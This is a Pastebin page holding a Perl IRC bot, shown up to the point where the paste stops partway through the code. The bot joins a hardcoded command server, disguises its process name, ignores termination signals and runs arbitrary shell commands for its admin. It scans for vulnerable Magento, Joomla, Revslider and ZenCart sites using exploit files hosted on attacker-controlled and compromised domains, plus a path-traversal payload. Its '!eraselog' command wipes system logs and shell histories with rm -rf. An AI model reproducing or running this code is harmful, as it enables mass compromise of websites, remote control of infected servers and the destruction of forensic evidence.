daily pastebin goal
61%
SHARE
TWEET

jsadnadnalksd

a guest Apr 27th, 2016 868 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. use DBI;
  17. #use DBD::mysql;
  18.  
  19. my $datetime    = localtime;
  20. my $number      = int(rand(100));
  21. my $fakeproc    = "/usr/sbin/fakeproc";
  22. my $ircserver   = "201.161.42.26";
  23. my $ircport     = "6667";
  24. my $nickname    = "KosowaWaRBot3";
  25. my $ident       = "-";
  26. my $channel     = "#unix";
  27. my $chanxxx     = "#ok1";
  28. my $admin       = "KosoWaR";
  29. my $fullname    = "-";
  30. my $rawmsg      = $ARGV[4];
  31. my $msgraw      = $ARGV[5];
  32.  
  33. my $nob0dy      = "9,1[4!9]15[SC4NN3R] By $channel ";
  34. my $magelogo    = "9,1[4!9]15Magento 4<9=4> ";
  35. my $revlogo     = "9,1[4!9]15Revsliders 4<9=4> ";
  36. my $jcelogo     = "9,1[4!9]15JcE 4<9=4> ";
  37. my $zenlogo     = "9,1[4!9]15ZenCart 4<9=4> ";
  38. my $joomlalogo  = "9,1[4!9]15Joomla 4<9=4> ";
  39. my $oscologo    = "9,1[4!9]15OSCO 4<9=4> ";
  40. my $loglogo     = "9,1[4!9]15LogScan 4<9=4> ";
  41. my $carilogo    = "9,1[4!9]15Find 4<9=4> ";
  42. my $shopliftcmd = "!shoplift3";
  43. my $magadmincmd = "!admin";
  44. my $magsqlcmd   = "!magsql";
  45. my $maglficmd   = "!maglfi";
  46. my $mageuplcmd  = "!magmi";
  47. my $jcecmd      = "!jce";
  48. my $revcmd      = "!rev";
  49. my $zencmd      = "!zen";
  50. my $joomlacmd   = "!joomla";
  51. my $ftpcmd      = "!ftp";
  52. my $botsaver    = "http://imamblack.altervista.org/irc/index.php";
  53. my $hostxpl     = "http://www.hallobattery.com/js/lib/";
  54. my $shopliftxpl = "".$hostxpl."shoplift.php";
  55. my $ftpxpl      = "".$hostxpl."ftp.php";
  56. my $revxpl      = "".$hostxpl."rev.php";
  57. my $lfishell    = "http://sarkemc0der.altervista.org/evil/lfishell.txt";
  58. my $mag_shell   = "rss.zip";
  59. my $timot       = 10;
  60. my $silentmode  = 1;
  61. my $uagent      = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  62. my $lfdtest     = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
  63. my $jpath       = "http://onebuy.in/var/tmp/search.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";
  64. my $jackae      = "http://www.allhair-wigs.co.uk/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.character.com/shell/pass/search.php
  65. my $jackar      = "http://www.software-smart-solutions.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://catalangourmet.com/tmp/pass/search.php
  66. my $jackat      = "http://www.esteticaaquarelle.es/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://gappimp.at/wp-content/uploads/2011/05/script-loader.php
  67. my $jackau      = "http://www.xstitchdesign.co.nz/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://cascelloid.com/var/tmp/search.php
  68. my $jackbr      = "http://www.maxidetall.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.tiendatropicalia.com/shell/pass/search.php
  69. my $jackca      = "http://www.hardwaredepot.nl/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.freedomhealthcare.co.uk/var/pass/search.php
  70. my $jackcl      = "http://www.carnivalbkk.com/var/cache/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://urahresources.com/tmp/pass/search.php
  71. my $jackcn      = "http://w3.bikehome.com.tw/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  72. my $jackcom     = "http://www.desertpublications.net/var/pass/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  73. my $jackcz      = "http://www.lcherrup.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.freytagberndt.cz/media/pass/script-loader.php
  74. my $jackde      = "http://www.mrfloorball.de/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.perfumemania.es/shell/pass/search.php
  75. my $jackdk      = "http://rhodo-roskilde.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://djohansenhusdyrutstyr.no/shell/pass/search.php
  76. my $jackes      = "http://shop.ourtree.es/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.mdsbooks.co.uk/shell/pass/search.php
  77. my $jackeu      = "http://www.boston-medical-supply.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.shatleyfarms.com/shell/pass/search.php
  78. my $jackfr      = "http://www.socadis-cadeaux.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://shop.alpine-peters.de//var/pass/script-loader.php
  79. my $jackhu      = "http://www.logitechshop.com.au/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#ttp://www.eyeforce.com.tr/var/pass/search.php
  80. my $jackid      = "http://wish-fashion.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.voga.com/var/pass/search.php
  81. my $jackil      = "http://www.kawaiishop.fr/var/pass/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.ahsapoyuncak.web.tr/shell/pass/search.php
  82. my $jackin      = "http://faydadeals.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://safetysupplycity.com/shell/pass/script-loader.php
  83. my $jackinfo    = "http://www.josemegre.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.kronosav.com/var/pass/search.php
  84. my $jackir      = "http://selestastore.com/var/cache/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://store.british-bodybuilding.co.uk/var/pass/script-loader.php
  85. my $jackit      = "http://rhodo-roskilde.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.eyaas.com/var/pass/search.php
  86. my $jackjp      = "http://tranqueron.com.ar/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.phatgrrl.com/var/pass/search.php
  87. my $jackkr      = "http://micco.com.co/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.vintagexl.com/media/pass/search.php
  88. my $jackmx      = "http://www.cantabilshop.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://hierba.es/var/pass/search.php
  89. my $jackmy      = "http://www.pabucino.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.thrift-king.com/var/pass/search.php
  90. my $jacknet     = "http://daab-shop.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.gutenparts.com/var/pass/search.php
  91. my $jacknl      = "http://eliram.co.il/js/3v1L/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  92. my $jackorg     = "http://spa-experts.ie/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://leatheronedirect.com/sitemap/pass/script-loader.php
  93. my $jackph      = "http://www.justfashion.fr/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.mintenglobalsecurity.com/shell/pass/search.php
  94. my $jackpl      = "http://thememstore.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.move-lift-n-store.com.au/var/pass/search.php
  95. my $jackro      = "http://www.magtel.ro/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  96. my $jackru      = "http://shop.praesenta.de/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://rosen-union.de/var/pass/script-loader.php
  97. my $jackth      = "http://www.itsolution.co.th/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.e2.jo/var/pass/script-loader.php
  98. my $jackua      = "http://www.enchantingminis.com.au/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://e-cigarette.eu/var/pass/script-loader.php
  99. my $jackuk      = "http://www.turtonwines.co.uk/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://savvyschools.ie/wp-includes/images/pass/script-loader.php
  100. my $jackus      = "http://www.cheapcarbonbike.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://mkii.ru/var/pass/script-loader.php
  101. my $jacksi      = "http://onebuy.in/var/tmp/search.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.nordicgastro.se/var/05/search.php
  102. my $jackbe      = "http://www.arundos.info/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.kawaiishop.fr/var/pass/search.php
  103. my $jackbiz     = "http://shop.vth.de/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.file-extensions.info/pass/script-loader.php
  104. my $jack1 = "http://www.kitakarita.hu/wp-admin/user/4nt-crew1.php?q="; #"http://vtv9.com.vn/wp-includes/SimplePie/bypass302.php?q=";
  105. my $jack2 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://www.ares-asesores.com/wp-includes/bypass302.php?q=";
  106. my $jack3 = "http://www.op63.ru/media/backup.php?q="; #"http://linkeddoc.web1019.kinghost.net/wp-includes/SimplePie/bypass302.php?q=";
  107. my $jack4 = "http://www.op63.ru/media/backup.php?q="; #"http://jhealthy.com/wp-includes/bypass302.php?q=";
  108. my $jack5 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://furrers.dk/wp-includes/SimplePie/Decode/bypass302.php?q=";
  109. my $jack6 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://boyut-yapi.com/wp-includes/bypass302.php?q=";
  110. my $jack7 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://renaissance.net.ua/wp-includes/bypass302.php?q=";
  111. my $jack8 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://niqlas.se/playground/wp-includes/pomo/bypass302.php?q=";
  112. my $jack9 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://new.intermediaib.it/wp-includes/SimplePie/Net/bypass302.php?q=";
  113. my $jack10 = "http://www.yenigunmedya.com/wp-admin/user/4nt-crew10.php?q="; #"http://www.cervezaraguaney.com.ve/wp-admin/network/bypass302.php?q=";
  114. my $jack11 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://www.gtctrust.com/wp-includes/SimplePie/Decode/bypass302.php?q="
  115. my $jack12 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://limusinasmallorca.es/wp-includes/SimplePie/bypass302.php?q=";
  116. my $jack13 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log5.php?q="; #"http://pcgo.us/wp-includes/bypass302.php?q=";
  117. my $jack14 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log6.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
  118. my $jack15 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log7.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
  119. my $jack16 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log8.php?q="; #"http://thpt-phanngoctong-bentre.edu.vn/plugins/editors/errors.php";
  120. my $jack17 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log9.php?q="; #"http://www.nmsvn.com.vn/plugins/editors/errors.php";
  121. my $jack18 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log1.php?q="; #"http://sevotest.latestdot.eu/plugins/editors/errors.php";
  122. my $jack19 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log2.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
  123. my $jack20 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log3.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
  124. my $jack21 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log4.php?q="; #"http://www.gruetzi.es/plugins/editors/errors.php";
  125. my $jack22 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://aretusasport.altervista.org/plugins/editors/errors.php";
  126. my $jack23 = "http://ruizsanchez.com.mx/wp-includes/SimplePie/bypass302.php?q="; #"http://www.chemaweyaat.com/plugins/editors/errors.php";
  127. my $engine      = "JacKAE,JacKAR,JacKAT,JacKAU,JacKBR,JacKCA,JacKCL,JacKCN,JacKCoM,JacKCZ,JacKDE,JacKDK,JacKES,JacKEU,JacKFR,JacKHU,JacKID,JacKIL,JacKIN,JacKInfO,JacKIR,JacKIT,JacKJP,JacKKR,JacKMX,JacKMY,JacKNeT,JacKNL,JacKOrG,JacKPH,JacKPL,JacKRO,JacKRU,JacKTH,JacKUA,JacKUK,JacKUS,JacKSI,JacKBE,JacKBIZ,GooGLe,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,AsK,AsKCA,AsKDE,AsKIT,AsKUK,AsKFR,AsKES,AsKRU,AsKNL,AsKEU,AsKPL,AsKAT,AsKSE,AsKDK,AsKNO,AsKAU,AsKBR,AsKMX,AsKJP,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe";
  128. my @jpaths      = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
  129.                 '/administrator/components/com_acymailing/inc/openflash',
  130.                 '/administrator/components/com_jnewsletter/includes/openflashchart',
  131.                 '/administrator/components/com_jinc/classes/graphics',
  132.                 '/administrator/components/com_maianmedia/utilities/charts',
  133.                 '/administrator/components/com_jnews/includes/openflashchart');
  134. my $jvuln   = "/php-ofc-library/ofc_upload_image.php";
  135. my $jshell  = "/tmp-upload-images/lobex21.php";
  136. $SIG{'INT'}   = 'IGNORE';
  137. $SIG{'HUP'}   = 'IGNORE';
  138. $SIG{'TERM'}  = 'IGNORE';
  139. $SIG{'CHLD'}  = 'IGNORE';
  140. $SIG{'PS'}    = 'IGNORE';
  141. #chdir("/");
  142. $ircserver = "$ARGV[0]" if $ARGV[0];
  143. $ircport = "$ARGV[1]" if $ARGV[1];
  144. $nickname = "$ARGV[2]" if $ARGV[2];
  145. $channel = '#'."$ARGV[3]" if $ARGV[3];
  146. $0 = "$fakeproc"."\0" x 16;
  147. my $pid = fork;
  148. exit if $pid;
  149. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  150.  
  151. our %irc_servers;
  152. our %DCC;
  153. my $dcc_sel = new IO::Select->new();
  154. $sel_client = IO::Select->new();
  155. sub sendraw {
  156.     if ($#_ == '1') {
  157.     my $socket = $_[0];
  158.     print $socket "$_[1]\n";
  159.     } else {
  160.         print $IRC_cur_socket "$_[0]\n";
  161.     }
  162. }
  163. sub connector {
  164.     my $mynick = $_[0];
  165.     my $ircserver_con = $_[1];
  166.     my $ircport_con = $_[2];
  167.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  168.     if (defined($IRC_socket)) {
  169.         $IRC_cur_socket = $IRC_socket;
  170.         $IRC_socket->autoflush(1);
  171.         $sel_client->add($IRC_socket);
  172.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  173.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  174.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  175.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  176.         nick("$mynick");
  177.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  178.         sleep(1);}}
  179.  
  180. sub parse {
  181.     my $servarg = shift;
  182.     if ($servarg =~ /^PING \:(.*)/) {
  183.         sendraw("PONG :$1");
  184.     }
  185.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  186.         if (lc($1) eq lc($mynick)) {
  187.             $mynick = $4;
  188.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  189.         }
  190.     }
  191.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  192.         nick($mynick.int(rand(5)));
  193.     }
  194.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  195.         $mynick = $2;
  196.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  197.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  198.         sendraw("MODE $mynick +ix");
  199.         sendraw("NS id poi987");
  200.         sleep(3);
  201.         sendraw("JOIN $channel 0day");
  202.         sendraw("JOIN $chanxxx 0day");
  203.         sleep(1);
  204.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  205.     }
  206. }
  207.  
  208. my $line_temp;
  209. while( 1 ) {
  210.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  211.     select(undef, undef, undef, 0.01);
  212.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  213.     my @ready = $sel_client->can_read(0);
  214.     next unless(@ready);
  215.     foreach $fh (@ready) {
  216.         $IRC_cur_socket = $fh;
  217.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  218.         $nread = sysread($fh, $ircmsg, 4096);
  219.         if ($nread == 0) {
  220.             $sel_client->remove($fh);
  221.  
  222.             $fh->close;
  223.             delete($irc_servers{$fh});
  224.         }
  225.         @lines = split (/\n/, $ircmsg);
  226.         $ircmsg =~ s/\r\n$//;
  227.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  228.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);         
  229.             if ($path eq $mynick) {
  230.                 if ($msg =~ /^PING (.*)/) {
  231.                     sendraw("NOTICE $nick :PING $1");
  232.                 }
  233.                 if ($msg =~ /^VERSION/) {
  234.                     sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  235.                 }
  236.                 if ($msg =~ /^TIME/) {
  237.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  238.                 }
  239.                 if (&isAdmin($nick) && $msg eq "!die") {
  240.                     &shell("$path","kill -9 $$");
  241.                 }
  242.                 if (&isAdmin($nick) && $msg eq "!cox") {
  243.                     &shell("$path","killall -9 perl");
  244.                 }
  245.                 if (&isAdmin($nick) && $msg eq "!reset") {
  246.                     sendraw("QUIT :Restarting...");
  247.                 }
  248.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  249.                     sendraw("JOIN #".$1);
  250.                 }
  251.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  252.                     sendraw("PART #".$1);
  253.                 }
  254.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  255.                     sendraw("NICK ".$1);
  256.                 }
  257.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  258.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  259.                 }
  260.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  261.                     &shell("$nick","$msg");
  262.                 }
  263.                 if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  264.                     sendraw("$rawmsg $msgraw ".$1);
  265.                 }
  266.                 if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  267.                     sendraw("PRIVMSG $rawmsg ".$1);
  268.                 }
  269.                 if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  270.                     sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  271.                 }
  272.                 if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  273.                     $newtimot = $1;
  274.                     $timot = $newtimot;
  275.                     &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  276.                 }
  277.                 if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  278.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  279.                     $newchan = $1;
  280.                     $chanxxx = $newchan;
  281.                     &msg("$admin","9,1 xChan change to4 $chanxxx ");
  282.                 }}}
  283.             }
  284.             else {
  285.                 if (&isAdmin($nick) && $msg eq "!die") {
  286.                     &shell("$path","kill -9 $$");
  287.                 }
  288.                 if (&isAdmin($nick) && $msg eq "!cox") {
  289.                     &shell("$path","killall -9 perl");
  290.                 }
  291.                 if (&isAdmin($nick) && $msg eq "!reset") {
  292.                     sendraw("QUIT :Restarting...");
  293.                 }
  294.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  295.                     sendraw("JOIN #".$1);
  296.                 }
  297.                 if (&isAdmin($nick) && $msg eq "!part") {
  298.                     sendraw("PART $path");
  299.                 }
  300.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  301.                     sendraw("PART #".$1);
  302.                 }
  303.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  304.                     &shell("$path","$1");
  305.                 }
  306.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  307.                     &shell("$path","$1");
  308.                 }
  309.                 if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  310.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  311.                     $smod = $1;
  312.                 if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  313.                 elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  314.                     &msg("$path","9,1[0!9]Silent Mode11 $silentstat !!!!");
  315.                 }}}
  316.                 if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  317.                     my $url = $1.$lfdtest;
  318.                     my $cmd = $2;
  319.                     &cmdlfi($url,$cmd,$path);
  320.                 }
  321.                 if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  322.                     my $url = $1;
  323.                     my $cmd = $2;
  324.                     &cmdxml($url,$cmd,$path);
  325.                 }
  326.                 if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  327.                     my $url = $1;
  328.                     my $cmd = $2;
  329.                     &cmde107($url,$cmd,$path);
  330.                 }
  331.                 ##################################################################### HELP COMMAND
  332.                 if ($msg=~ /^!help/) {
  333.                     &msg("$path","4$helplogo 4 -------|| Simple IRC Bot - $channel ||------- ");
  334.                     my $helplogo = "9,1[4!9]15Help 4<9=4> ";
  335.                     &msg("$path","$helplogo9JoomlaCE Vuln Scan:15 $jcecmd [dork] ");
  336.                     &msg("$path","$helplogo9JoomlaLFD Vuln Scan:15 $joomlacmd [dork] ");
  337.                     &msg("$path","$helplogo9Magento ShopLift Vuln Scan:15 $shopliftcmd [dork] ");
  338.                     #&msg("$path","$helplogo9Magento ShopLift Vuln Scan 2:15 $magadmincmd [dork] ");
  339.                     &msg("$path","$helplogo9Magento Magmi Vuln Scan:15 $mageuplcmd [dork] ");
  340.                     &msg("$path","$helplogo9Magento LFI Vuln Scan:15 $maglficmd [dork] ");
  341.                     &msg("$path","$helplogo9Magento SQL Vuln Scan:15 $magsqlcmd [dork] ");
  342.                     &msg("$path","$helplogo9OsCommerce Vuln Scan:15 $oscocmd [dork] ");
  343.                     &msg("$path","$helplogo9Revslider Vuln Scan:15 $revcmd [dork] ");
  344.                     &msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
  345.                     &msg("$path","$helplogo9Tools:15 !ip [ip] | !port [ip] [port] | !dns [hostname] | !ftp [host] [user] [pass] ");
  346.                     &msg("$path","4$helplogo4Exploiting Our World With Our Evil Code!");
  347.                 }
  348.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  349.                     &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  350.                 }
  351.                 if (&isAdmin($nick) && $msg =~ /^!op/) {
  352.                     sendraw("MODE ".$channel." +op ".$admin."");
  353.                 }
  354.                 ##################################################################### DELETE LOG
  355.                 if (&isAdmin($nick) && $msg =~ /^!eraselog/) {
  356.                     &msg("$path","$loglogo9,1 Permintaan sedang di proses...");
  357.                     &msg("$path","$loglogo4 Mohon di tunggu...!");
  358.                     system 'rm -rf /var/log/lastlog';
  359.                     system 'rm -rf /var/log/wtmp';
  360.                     system 'rm -rf /etc/wtmp';
  361.                     system 'rm -rf /var/run/utmp';
  362.                     system 'rm -rf /etc/utmp';
  363.                     system 'rm -rf /var/log';
  364.                     system 'rm -rf /var/logs';
  365.                     system 'rm -rf /var/adm';
  366.                     system 'rm -rf /var/apache/log';
  367.                     system 'rm -rf /var/apache/logs';
  368.                     system 'rm -rf /usr/local/apache/log';
  369.                     system 'rm -rf /usr/local/apache/logs';
  370.                     system 'rm -rf /root/.bash_history';
  371.                     system 'rm -rf /root/.ksh_history';
  372.                     &msg("$path","$loglogo13 Semua 4default log13 dan berkas 4bash_history 13terhapus.");
  373.                     sleep 1;
  374.                     &msg("$path","$loglogo13 Sekarang sisa berkas mesin4 LOG.");
  375.                     system 'find / -name *.bash_history -exec rm -rf {} \;';
  376.                     system 'find / -name *.bash_logout -exec rm -rf {} \;';
  377.                     system 'find / -name "log*" -exec rm -rf {} \;';
  378.                     system 'find / -name *.log -exec rm -rf {} \;';
  379.                     sleep 1;
  380.                     &msg("$path","$loglogo9,1 Selesai! Semua log dalam server sudah di hapus...!!!");
  381.                 }
  382.                 ##################################################################### SCAN
  383.                 if ($msg =~ /^$shopliftcmd\s+(.*)/) {
  384.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  385.                         my ($bug,$dork) = ("/customer/account/login",$1);
  386.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento ShopLift di 4$path ");
  387.                                 &msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
  388.                                 &msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  389.                                 &se_start($path,$bug,$dork,$engine,1);
  390.                         }
  391.                     }
  392.                 }
  393.                 if (&isAdmin($nick) && $msg =~ /^$magadmincmd\s+(.*)/) {
  394.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  395.                         my ($bug,$dork) = ("/customer/account/login",$1);
  396.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento ShopLift Gate 2 di 4$path ");
  397.                                 &msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
  398.                                 &msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  399.                                 &se_start($path,$bug,$dork,$engine,2);
  400.                         }
  401.                     }
  402.                 }
  403.                 if ($msg =~ /^$magsqlcmd\s+(.*)/) {
  404.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  405.                         my ($bug,$dork) = ("index.php/api/xmlrpc",$1);
  406.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento SQL di 4$path ");
  407.                                 &msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
  408.                                 &msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  409.                                 &se_start($path,$bug,$dork,$engine,3);
  410.                         }
  411.                     }
  412.                 }
  413.                 if ($msg =~ /^$mageuplcmd\s+(.*)/) {
  414.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
